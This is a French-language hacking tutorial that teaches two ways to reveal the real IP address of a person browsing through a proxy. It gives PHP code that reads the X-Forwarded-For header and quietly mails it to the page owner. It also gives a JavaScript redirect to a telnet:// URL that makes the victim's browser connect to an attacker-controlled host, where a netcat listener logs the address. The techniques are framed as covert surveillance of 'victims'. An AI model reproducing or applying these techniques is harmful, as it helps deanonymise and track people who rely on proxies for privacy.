* Trouver une adresse IP derriere un proxy *
* (2 méthodes) *
Je vais vous exposer ici quelques techniques vous permettant de recuperer l'IP reelle d'une personne se connectant au net par l'intermediare d'un proxy.
En effet dans ce cas vous voyez l'IP du proxy, et non la sienne.C'est le but d'ailleurs du proxy, mais on va se montrer plus malin que lui ! ;-)
----------------------------------------------------------
* 1 ere methode,
----------------
elle vous permettra de recevoir dans votre boite mail l'IP d'un gars qui se promene sur une de vos pages sur un site web.
Pour cela votre site doit etre heberge sur un serveur supportant PHP, avec la fonction mail();activee (actuellement c'est le cas de Lycos/Multimania, les autres je sais pas).
L'idee est donc que les proxys sur lesquels se connectent les victimes envoient souvent dans le Header des infos,dont la fameuse IP.
Ces donnees envoyees par le serveur se nomment les VARIABLES D'ENVIRONNEMENT.
Les variables d'environnement standard permettent d'ailleurs de recuperer l'IP d'un gars, mais ce n'est pas le but de notre tuto...Ici
nous nous interesserons aux variables d'environnement propres aux proxies HTTP, qui sont au nombre de 6 :
HTTP_PRAGMA Ancien mecanisme de gestion des methodes de cache des pages d'un serveur HTTP
HTTP_CACHE_CONTROL Indication concernant les preferences du client HTTP en matiere de cache
HTTP_CACHE_INFO Utilise par certains proxys pour indiquer au serveur HTTP combien de clients HTTP ont effectue cette requete par son intermediaire
HTTP_PROXY_CONNECTION Seulement definie par certains proxys lorsque le client HTTP effectue sa requete par leur intermediaire
HTTP_VIA Adresse, port utilise, nom et version du proxy utilise pour la requete. Seulement definie par certains proxys
HTTP_X_FORWARDED_FOR Utilise par certains proxys pour indiquer l'adresse de la machine cliente pour laquelle ils effectuent a requete HTTP
Ici la variable qui nous interesse est la derniere, HTTP_X_FORWARDED_FOR, qui contient l'IP du gars derriere le proxy.
L'idee est donc que le serveur sur lequel est heberge votre page PHP lit les informations envoyees par le proxy se connectant a lui,donc cette variable.
Il est donc capable de la restituer par la fonction PHP getenv("param"); qui recupere la variable d'environnement nommee "param".
Donc,demande a votre serveur d'hebergement de stocker dans la variable $vraieip la vraie IP, c'est a dire le contenu de la variable d'environnement HTTP_X_FORWARDED_FOR.
Vous pouvez l'afficher a l'ecran pour faire peur au gars, avec "print $vraieip;"
mais notre but est de la recuperer discretement, en nous l'envoyant par mail. Il suffit de coder ceci :
$vraieip = getenv("HTTP_X_FORWARDED_FOR");mail("votre_mail@serveur.ext", "IP recoltees sur ma page internet", $vraieip);?>
et si comme je vous le disais au debut votre serveur d'hebergement accepte la fonction mail(); c'est dans la poche !
Par contre si le gars ne passe pas par un proxy, la variable reste vide, vous devez donc envoyer par mail l'IP provenant deHTTP_X_FORWARDED_FOR, mais aussi celle de la variable d'environnement classique permettant de recuperer l'IP normale
------------------------------------------------------------
* 2eme methode :
----------------
Elle consiste toujours a amener le gars sur une page internet prevue par vos soins :p
Cette fois-ci pas besoin de PHP, juste un script javascript, a lancer au chargement de la page, le voici :
function Gruss()
{
window.location.href = 'telnet://Newffr.zzn.com:25'
}
-------
Alors que vous pensiez etre anonyme derriere votre proxys... Je vous demontre le contraire !
Pourquoi ? Comment ?
Simplement par ce que le proxy utilise le protocole HTTP, et n'est fonctionnel qu'a travers
les structures utilisant HTTP, or la j'ai engendre sur votre navigateur une connexion Telnet
a mon serveur sur le port 25 (sendmail) ...
Je verrai alors dans mes logs votre vraie IP c'est une application reelle !
Mais le meilleur n'est pas la ...
Ici j'ai utilise une connexion reelle de Telnet qui se dirige vers un serveur SMTP dump
mais j'aurais tres bien pu rediriger la connexion vers une petite application qui se
charge de garder les logs et DANS CE CAS VOUS N'AURIEZ SIMPLEMENT RIEN VU !
Donc ne croyez pas que le proxy soit quelque chose de fiable, bien au contraire !
-------
Maintenant on regarde plus pres comment ca marche...
Vous devez remplacer Newffr.zzn.com par votre serveur, ou mieux votre machine (entre votre IP, je sais c'est dangereux).
C'est ici qu'intervient l'utilisation du logiciel NetCat (c'est le programme qui garde les logs)
Il suffit dans le script de mettre votre IP au lieu du serveur, et sur votre machine
de lancer NetCat en mode ecoute (listen) sur le port 25 (port sendmail). La commande est, apres avoir lance natcat,
"-l -p 25".
Ainsi vous ecoutez tout ce qui vient sur votre port 25.
Dans notre exemple le script ouvre chez la victime ouvre son port telnet (23) et se connecte a votre IP au port 25.
Le script si votre IP est 145.167.4.34 sera :
function Gruss()
{
window.location.href = 'telnet://145.167.4.34:25'
}
Cette technique oblige donc le navigateur du gars a se connecter a votre IP sur votre port 25.
En effet les proxy filtrent les connections HTTP (port 8080), mais pas Telnet (25), donc le fait d'obliger le gars a
se connecter a votre serveur (netcat en fait) vous devoilera son IP en regardant dans vos logs de netcat.
Voila 2 methodes pour trouver une adresse IP derriere un proxy !